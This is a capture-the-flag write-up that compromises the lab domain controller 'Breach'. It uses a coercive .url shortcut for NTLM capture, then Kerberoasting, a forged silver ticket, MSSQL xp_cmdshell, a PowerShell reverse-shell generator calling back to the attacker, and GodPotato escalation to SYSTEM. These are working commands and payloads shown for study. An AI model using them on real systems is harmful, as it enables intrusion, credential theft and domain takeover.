Breach

A Windows machine from Vulnlab/Hack The Box that teaches you how to capture NTLM authentication by placing maliciously crafted shortcut files in shares and escalate privileges to a service principal account via silver tickets.
Target: 10.129.39.50
Enumeration
Rustscan:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ rustscan -a 10.129.39.50 -r 1-65535 -- -sVC -T4 -oN nmap
Nmap Scan result:
# Nmap 7.98 scan initiated Thu Jan 15 13:53:31 2026 as: nmap -vvv -p 53,80,88,135,139,389,445,593,1433,3269,3268,3389,464,5985,9389,49664,49668,49916,49677,57172 -4 -sVC -T4 -oN nmap 10.129.39.50
Nmap scan report for 10.129.39.50
Host is up, received syn-ack (0.059s latency).
Scanned at 2026-01-15 13:53:31 CST for 103s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-01-15 19:53:38Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.129.39.50:1433:
| Target_Name: BREACH
| NetBIOS_Domain_Name: BREACH
| NetBIOS_Computer_Name: BREACHDC
| DNS_Domain_Name: breach.vl
| DNS_Computer_Name: BREACHDC.breach.vl
| DNS_Tree_Name: breach.vl
|_ Product_Version: 10.0.20348
| ms-sql-info:
| 10.129.39.50:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-15T19:27:17
| Not valid after: 2056-01-15T19:27:17
| MD5: f82c c9a2 9e8a 4f1f be69 e25b 5863 4744
| SHA-1: 1a5e 9cbb 855c 2bef 3a62 6cef c698 f267 5fb8 5590
| SHA-256: db80 35b5 b29b 5ab9 14e5 7417 4af4 3180 6737 6cd5 c5a3 effe a830 80f8 7b9f e192
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQF6+z52UZEqZFmY/BQ2iL7jANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwMTE1MTkyNzE3WhgPMjA1NjAxMTUxOTI3MTdaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLt8Pa9
| scqc7bxQO9ljf2HnwYNDUyDm6UAezfrOI2UnjV9WSoqEvRJJRQjT0RfdaoxmRDsn
| u4X4iQh91avdH5zogobNaKa6T5GEwkrEBPZpmG9hPqw9Hxylv9ZVXOHWxcjZFWFn
| D21ASr77DiNEUEmTpnsGAynsyrZuRS4yIFVpJBito28UPmB5QXNqJYcP/kcAoqdM
| BPbZjPbVDJimLSDDUscNv9yWdwByUUMw8IhqQLNIu7yef4ShUXcx/8mOVzMN76aA
| kzwjFaFBba7U3LPddPIr6l9IjcHPvliuhMoPa/enpcAna8Z9TO7db6c4jcQn6X8a
| FyufXfYa9iw9zZUCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAafCsJ4tpaalugQRT
| Teiz4YRBZptEVUAOyyZr4MRbf0h2N5GwEXTxozoqP48N+QVLbuB5bnH6XZO31AhO
| b1IMppU9MFe/wrndZkAHTi3uLlYefwnz4sfXIvHRUbPMTRtvAGN8F8gvOP988PeJ
| smOTQTQVPkIMTH2XvS3sSZ1pf6+fYR4KVp28AmoUf15e/dwjglxmoyk+hy6869Sh
| /u07qgv5EZSXDWqx5gcrK2w3pvEKfabqXHe6nmXrr1h6rSoJnGSN51uyGxurt5/j
| LmAUMysneg/H2Um/rzBJ/WBwpCXuWEdPSOZpM4AdFFYLAhJj6I2b3TmMCz+Lr6BF
| iXkNeQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-01-15T19:55:12+00:00; 0s from scanner time.
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-07T08:04:48
| Not valid after: 2026-03-09T08:04:48
| MD5: f457 54f6 0073 10ba ecb2 0f99 fca9 d035
| SHA-1: ccc9 9cbf 5171 71cb 42e1 4951 243c e58c a229 cd36
| SHA-256: 27dd 4b87 17d3 579e baa5 97f7 b638 7b2b ba05 ad39 fd81 d60f 4108 3a48 3602 55f8
| -----BEGIN CERTIFICATE-----
| MIIC6DCCAdCgAwIBAgIQG2ZJBuyGl6BOPrQhGij+hzANBgkqhkiG9w0BAQsFADAd
| MRswGQYDVQQDExJCUkVBQ0hEQy5icmVhY2gudmwwHhcNMjUwOTA3MDgwNDQ4WhcN
| MjYwMzA5MDgwNDQ4WjAdMRswGQYDVQQDExJCUkVBQ0hEQy5icmVhY2gudmwwggEi
| MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDr0Po1BNi/Rf86RA49UWp30Roe
| cyMjyHDf8rw7jXP1e2r8EjqlTnsqF1jXTDF15O4XnKxXDZgbfA5HMJeKqEgiX6pU
| jCvPx7DltCjIZpeBsNXQ7VWMcufI2tkkxW9nMYl2tUAYlWUZ0vbtt9qcXlx5kTmD
| toYzUreg6H4dE3CvaqciqKv1jdfeGHJi4osmXfReKQm0kXQFQcznvI+sjZjW4nVd
| fXESwYUJW5AmD7/fsMCWiP1+QD13t3yiQmudfJfGWxvao6/QPyTQy8ReZqYhIowh
| Sipq3ANfBTnMDJ28LhAO7fjUIs32BGQ1b9vlPOLNFnxetwcDmwpgvEfCQomlAgMB
| AAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG
| 9w0BAQsFAAOCAQEAYxOQcP3pJC3UXcEgZON8YNGZyX1sAXQyx3USwdxUfNvGmRNG
| yUqzZZG4kfOwJ1UDOVsPP4jhVVK2W+6V7VP2InCse+8FBBg/JlbYhrUA/wXChSqT
| 4BlswCYPTCk5kxMfrS7yjLGDcsWC18gWoFUur5LNMIR8HpS9RnRgQB1DcoTAXpeL
| bY/gBEmgovd+Oc9AYS7TnUIKmfm9N5J4fyJkbrY/him706SVR7uSNxFOd4JCc8dt
| Yv+1uiByI7ypUay4F67yceFC+1QhYsP4DONBQu/lcDhRgSJX0/DRUbNq8ilXGD0j
| VcqqM+HRpdHucUitpvX1KojPvNQaCIFmE/cZww==
|_-----END CERTIFICATE-----
| rdp-ntlm-info:
| Target_Name: BREACH
| NetBIOS_Domain_Name: BREACH
| NetBIOS_Computer_Name: BREACHDC
| DNS_Domain_Name: breach.vl
| DNS_Computer_Name: BREACHDC.breach.vl
| DNS_Tree_Name: breach.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-01-15T19:54:32+00:00
|_ssl-date: 2026-01-15T19:55:11+00:00; 0s from scanner time.
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49677/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49916/tcp open msrpc syn-ack Microsoft Windows RPC
57172/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-time:
| date: 2026-01-15T19:54:35
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 28617/tcp): CLEAN (Timeout)
| Check 2 (port 45344/tcp): CLEAN (Timeout)
| Check 3 (port 20573/udp): CLEAN (Timeout)
| Check 4 (port 64214/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 15 13:55:14 2026 -- 1 IP address (1 host up) scanned in 103.65 seconds
Several clues indicate this is a domain controller:
- Open ports for DNS (53), Kerberos (88), and LDAP (389, 3268, 3269)
- Scripts
ms-sql-ntlm-infoandrdp-ntlm-infoindicate computer name beingBREACHDC.breach.vl
Other notable service:
- HTTP (80)
- SMB (445)
- MSSQL (1433)
- RDP (3389)
- WinRM (5985)
Before we proceed interacting with the target further, let’s add the domain and IP address to /etc/hosts:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ tail -n 1 /etc/hosts
10.129.39.50 breachdc.breach.vl breach.vl
HTTP
Default IIS front page at http://breachdc.breach.vl/:

We can also conduct a directory and virtual host brute forcing to cover our basics, but in the end, there’s nothing interesting to see here.
SMB
We use Netexec to test guest access and found the guest user has read and write access to share.
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ nxc smb breach.vl -u guest -p '' --shares
SMB 10.129.39.50 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.39.50 445 BREACHDC [+] breach.vl\guest:
SMB 10.129.39.50 445 BREACHDC [*] Enumerated shares
SMB 10.129.39.50 445 BREACHDC Share Permissions Remark
SMB 10.129.39.50 445 BREACHDC ----- ----------- ------
SMB 10.129.39.50 445 BREACHDC ADMIN$ Remote Admin
SMB 10.129.39.50 445 BREACHDC C$ Default share
SMB 10.129.39.50 445 BREACHDC IPC$ READ Remote IPC
SMB 10.129.39.50 445 BREACHDC NETLOGON Logon server share
SMB 10.129.39.50 445 BREACHDC share READ,WRITE
SMB 10.129.39.50 445 BREACHDC SYSVOL Logon server share
SMB 10.129.39.50 445 BREACHDC Users READ
We connect to share with smbclient as guest user with empty password:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ smbclient //breach.vl/share -U 'guest%'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jan 15 14:05:46 2026
.. DHS 0 Tue Sep 9 05:35:32 2025
finance D 0 Thu Feb 17 05:19:34 2022
software D 0 Thu Feb 17 05:19:12 2022
transfer D 0 Mon Sep 8 05:13:44 2025
7863807 blocks of size 4096. 1515326 blocks available
Inside the transfer folder is three subfolder, each named after a person. As the guest user, we are not able to access any of them.
smb: \> cd transfer
smb: \transfer\> ls
. D 0 Mon Sep 8 05:13:44 2025
.. D 0 Thu Jan 15 14:05:46 2026
claire.pope D 0 Thu Feb 17 05:21:35 2022
diana.pope D 0 Thu Feb 17 05:21:19 2022
julia.wong D 0 Wed Apr 16 19:38:12 2025
7863807 blocks of size 4096. 1515324 blocks available
smb: \transfer\> cd claire.pope
smb: \transfer\claire.pope\> ls
NT_STATUS_ACCESS_DENIED listing \transfer\claire.pope\*
smb: \transfer\claire.pope\> cd ..\diana.pope
smb: \transfer\diana.pope\> ls
NT_STATUS_ACCESS_DENIED listing \transfer\diana.pope\*
smb: \transfer\diana.pope\> cd ..\julia.wong
smb: \transfer\julia.wong\> ls
NT_STATUS_ACCESS_DENIED listing \transfer\julia.wong\*
The finance and software folders are empty, leaving us no useful information.
smb: \transfer\julia.wong\> cd ..\..\
smb: \> ls
. D 0 Thu Jan 15 14:05:46 2026
.. DHS 0 Tue Sep 9 05:35:32 2025
finance D 0 Thu Feb 17 05:19:34 2022
software D 0 Thu Feb 17 05:19:12 2022
transfer D 0 Mon Sep 8 05:13:44 2025
7863807 blocks of size 4096. 1515320 blocks available
smb: \> cd finance
smb: \finance\> ls
. D 0 Thu Feb 17 05:19:34 2022
.. D 0 Thu Jan 15 14:05:46 2026
7863807 blocks of size 4096. 1515320 blocks available
smb: \finance\> cd ..\software
smb: \software\> ls
. D 0 Thu Feb 17 05:19:12 2022
.. D 0 Thu Jan 15 14:05:46 2026
7863807 blocks of size 4096. 1515316 blocks available
At this point, we might feel a little stuck. If you read the hints for this box on Vulnlab wiki, it mentions that we can assume someone is visiting the share regularly. That open the opportunity for us to conduct attacks that require user interactions.
One such attack is by placing a crafted Internet Shortcut (.lnk or .url) file inside the share, with its icon path pointing to somewhere on an attacker controller SMB server. When the user navigates to the share foldier where the shortcut file is located, the Windows file explorer automatically tries to load the icon via the path indicated and attempts NTLM authentication against attacker controller server, allowing the attacker to capture the user’s NetNTLMv2 hash.
To carry out the attack. First we test our write access to the transfer folder on share:
smb: \transfer\> !echo "TEST SMB write" > test.txt
smb: \transfer\> put test.txt
putting file test.txt as \transfer\test.txt (0.1 kB/s) (average 0.1 kB/s)
smb: \transfer\> ls
. D 0 Thu Jan 15 14:18:12 2026
.. D 0 Thu Jan 15 14:05:46 2026
claire.pope D 0 Thu Feb 17 05:21:35 2022
diana.pope D 0 Thu Feb 17 05:21:19 2022
julia.wong D 0 Wed Apr 16 19:38:12 2025
test.txt A 15 Thu Jan 15 14:18:12 2026
7863807 blocks of size 4096. 1514496 blocks available
Next, we can craft a minimal internet shortcut file like so:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ cat chrome.url
[InternetShortcut]
URL=placeholder
WorkingDirectory=placeholder
IconFile=\\10.10.14.142\share\icon.ico
IconIndex=1
We need to run Responder on another terminal window so that we can capture the authentication attempt.
Make sure the SMB server is turned ON. I personally got stuck here for quite some time wondering why the attack was not working until I realized that my responder was not running the SMB server, which should be enabled in /usr/share/responder/Responder.conf.
╭─brian@rx-93-nu ~
╰─$ sudo responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[...]
[+] Servers:
HTTP server [OFF]
HTTPS server [OFF]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON] <---- This should be *ON*
Kerberos server [ON]
SQL server [ON]
[...]
[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder
[+] Listening for events...
Finally, we can upload the shortcut file via smbclient to the share and wait for the NTLM authentication to be captured.
smb: \transfer\> put chrome.url
putting file chrome.lnk as \transfer\chrome.url (0.7 kB/s) (average 0.4 kB/s)
Back on responder, we should be able to capture the user hash belonging to Julia Wong:
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.39.50
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash : Julia.Wong::BREACH:<REDACTED>
[...]
We can crack the NetNTLMv2 hash with Hashcat (mode 5600).
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ hashcat -m 5600 -O julia.ntlm /usr/share/dict/rockyou.txt
After recovering Julia’s password, we can use it to log back into share and find the user flag under share\transfer\julia.wong:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ smbclient //breach.vl/share -U 'julia.wong%<REDACTED>'
Try "help" to get a list of possible commands.
smb: \> cd transfer\julia.wong
smb: \transfer\julia.wong\> ls
. D 0 Wed Apr 16 19:38:12 2025
.. D 0 Thu Jan 15 14:27:11 2026
user.txt A 32 Wed Apr 16 19:38:22 2025
7863807 blocks of size 4096. 1515657 blocks available
Privilege Escalation 1
Since Julia’s account belongs to the BREACH domain, we can start collecting information for Bloodhound to get a holistic view. Even though we don’t have code execution capabilities yet, we can still collect data by using bloodhound-ce-python from our Linux attacker machine with Julia’s credential:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ mkdir bloodhound
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ cd bloodhound
╭─brian@rx-93-nu vulnlab/breach/bloodhound
╰─$ bloodhound-ce-python -d breach.vl -u 'julia.wong' -p <REDACTED> -dc 'breachdc.breach.vl' -c all -ns 10.129.39.50 --dns-tcp
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: breach.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: breachdc.breach.vl
[...]
╭─brian@rx-93-nu vulnlab/breach/bloodhound
╰─$ ls
20260115152031_computers.json 20260115152031_gpos.json 20260115152031_users.json
20260115152031_containers.json 20260115152031_groups.json
20260115152031_domains.json 20260115152031_ous.json
We launch Bloodhound CE and import the data.
╭─brian@rx-93-nu vulnlab/breach/bloodhound
╰─$ bloodhound-cli up
To start off, we can take a look at julia.wong, the user we already control. However, Julia does not have any special privileges.

To continue our search, we can try to find Kerberoastable users on the domain by going to CYPHER > Saved Queries > All Kerberoastable users. Here, we find user SVC_MSSQL as a service account that we can Kerberoast:

The user’s Service Principal Name (SPN) is MSSQLSvc/breachdc.breach.vl:1433, meaning this might be the user that controls the MSSQL service running on port 1433 of our target.

When we Kerberoast the SVC_MSSQL user with Julia’s credential, we ask it to generate a Kerberos Ticket Granting Service (TGS) using a key derived from its own account password which we can crack on our attacker machine once obtained.
To carry out kerberoasting, we use Impacket GetUserSPNs.py:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ GetUserSPNs.py -request -dc-ip 10.129.39.50 breach.vl/julia.wong:<REDACTED> -o breach.vl.kerberoast
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------------------- --------- -------- -------------------------- -------------------------- ----------
MSSQLSvc/breachdc.breach.vl:1433 svc_mssql 2022-02-17 04:43:08.106169 2026-01-15 13:27:10.888281
[-] CCache file is not found. Skipping...
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ cat breach.vl.kerberoast
$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl/svc_mssql*<REDACTED>
We would successfully cracking the TGS for SVC_MSSQL’s plaintext password with Hashcat mode 13100.
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ hashcat -m 13100 -O breach.vl.kerberoast /usr/share/dict/rockyou.txt
Now that we have credentials belonging to SVC_MSSQL, the service principal to the MSSQL server on our target, we can forge a Silver Ticket for the Domain Admin. This is because we can now use the plaintext password to compute SVC_MSSQL’s NT hash and use it to encrypt arbitrary valid TGS for the service principal MSSQLSvc/breachdc.breach.vl:1433, which we can use to log into the service.
First, we use the crypto module of Pypykatz to get the NT hash of the password of SVC_MSSQL:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ pypykatz crypto nt <REDACTED>
Then, we use this hash and ticketer.py from Impacket to forge a silver ticket as Administrator. We also need to fill in the Domain SID of SVC_MSSQL, which we can find in the user information inside Bloodhound CE.
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ ticketer.py -nthash <REDACTED> -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in administrator.ccache
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ ll administrator.ccache
-rw-r--r-- 1 brian wheel 1.3K Jan 15 15:58 administrator.ccache
We can import the ticket into our current terminal session by exporting the KRB5CCNAME environment variable to the Credential Cache (.ccache) file which ticketer.py stored the forged TGS into.
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ export KRB5CCNAME=$PWD/administrator.ccache
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ klist
Ticket cache: FILE:/home/brian/Documents/study_files/hacking/vulnlab/breach/administrator.ccache
Default principal: administrator@BREACH.VL
Valid starting Expires Service principal
01/15/2026 16:00:56 01/13/2036 16:00:56 MSSQLSvc/breachdc.breach.vl:1433@BREACH.VL
renew until 01/13/2036 16:00:56
Now, we login as Administrator into the MSSQL server:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ mssqlclient.py -k -no-pass -windows-auth breachdc.breach.vl
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator dbo@master)>
Furthermore, we can use our admin privileges we obtained through forging a ticket for the Administrator user to turn on MSSQL’s xp_cmdshell option to execute commands. To do that, we need to first enable show advanced option then enable the option xp_cmdshell itself:
SQL (BREACH\Administrator dbo@master)> EXEC sp_configure 'show advanced options',1;
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator dbo@master)> RECONFIGURE
SQL (BREACH\Administrator dbo@master)> EXEC sp_configure 'xp_cmdshell',1;
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator dbo@master)> RECONFIGURE
Now we can use EXEC xp_cmdshell <cmd> to execute any commands we want. Notice that although we are logged into MSSQL as Administrator, we are executing commands under the context of SVC_MSSQL, the user the service is running under.
SQL (BREACH\Administrator dbo@master)> EXEC xp_cmdshell 'whoami';
output
----------------
breach\svc_mssql
NULL
For an enhanced command execution experience, we run a PowerShell Reverse Shell. I wrote this Python script to generate PowerShell Reverse Shells on the fly:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ cat ~/.scripts/ps_revshell.py
#!/bin/python
import sys
import base64
if len(sys.argv)!= 3:
print("Usage: ps_revshell.py <IP_ADDR> <PORT>")
exit(1)
ip = sys.argv[1]
port = sys.argv[2]
payload = '$client = New-Object System.Net.Sockets.TCPClient("' + ip + '", ' + port + '); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ ps_revshell.py 10.10.14.142 80
powershell -nop -w hidden -e JABjA[...]
Execute Reverse shell via MSSQL:
SQL (BREACH\Administrator dbo@master)> EXEC xp_cmdshell 'powershell -nop -w hidden -e JABjAGwAaQBlAG4[...]';
On our Netcat listener, we receive a reverse shell:
╭─brian@rx-93-nu ~
╰─$ sudo rlwrap nc -nvlp 80
Listening on 0.0.0.0 80
Connection received on 10.129.39.50 59309
PS C:\Windows\system32> whoami
breach\svc_mssql
Privilege Escalation 2
Running whoami /priv reveals the SVC_MSSQL user has SeImpersonatePrivilege, which allows us to use a variety of exploits to impersonate as another user on the system. This can grant us SYSTEM access.
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Windows\system32> systeminfo
Host Name: BREACHDC
OS Name: Microsoft Windows Server 2022 Datacenter
OS Version: 10.0.20348 N/A Build 20348
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
[...]
Since this target runs a recent Windows Server release, we can use GodPotato to elevate our privileges.
PS C:\temp> .\GodPotato.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140718045528064
[*] DispatchTable: 0x140718048118648
[*] UseProtseqFunction: 0x140718047410992
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\7269e80a-9fb0-44ca-8cf1-a7b86204dae5\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000e002-0184-ffff-107e-e4598e7a7ad2
[*] DCOM obj OXID: 0xbb6e98649e72d592
[*] DCOM obj OID: 0xfbb0715b9818c668
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 928 Token:0x756 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 6820
nt authority\system
We use another PowerShell Reverse Shell payload generated by my ps_revshell.py:
╭─brian@rx-93-nu hacking/vulnlab/breach
╰─$ ps_revshell.py 10.10.14.142 443
powershell -nop -w hidden -e JABjAGwAaQBlAG4A[...]
Now, we set up a Netcat listener and run the reverse shell via GodPotato as SYSTEM.
╭─brian@rx-93-nu ~
╰─$ sudo rlwrap nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 10.129.39.50 59407
PS C:\temp> whoami
nt authority\system
PS C:\temp> cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/17/2025 12:37 AM 32 root.txt
We have now successfully compromised the target. From there, we can take over the domain by making shadow copy of the NTDS.dit file or use DCSync to dump all user hashes.
Conclusion
Breach is yet another realistic Active Directory box from Vulnlab. I think chaining Kerberoasting, Silver Tickets and MSSQL xp_cmdshell is the rather realistic element of this lab. The initial access via NTLM Authentication Coercion is also good, but it would have been better if the creator can more organically embed the hint that the share is regularly accessed by domain users. I would, for example, leave a note at the root of share that gives this hint. However, overall, I think this is quite a good box from Vulnlab.
I hope you have enjoyed this write-up and found it educational.
#Medium #Vulnlab #Hack the Box #Windows #Active Directory #NTLM #Silver Ticket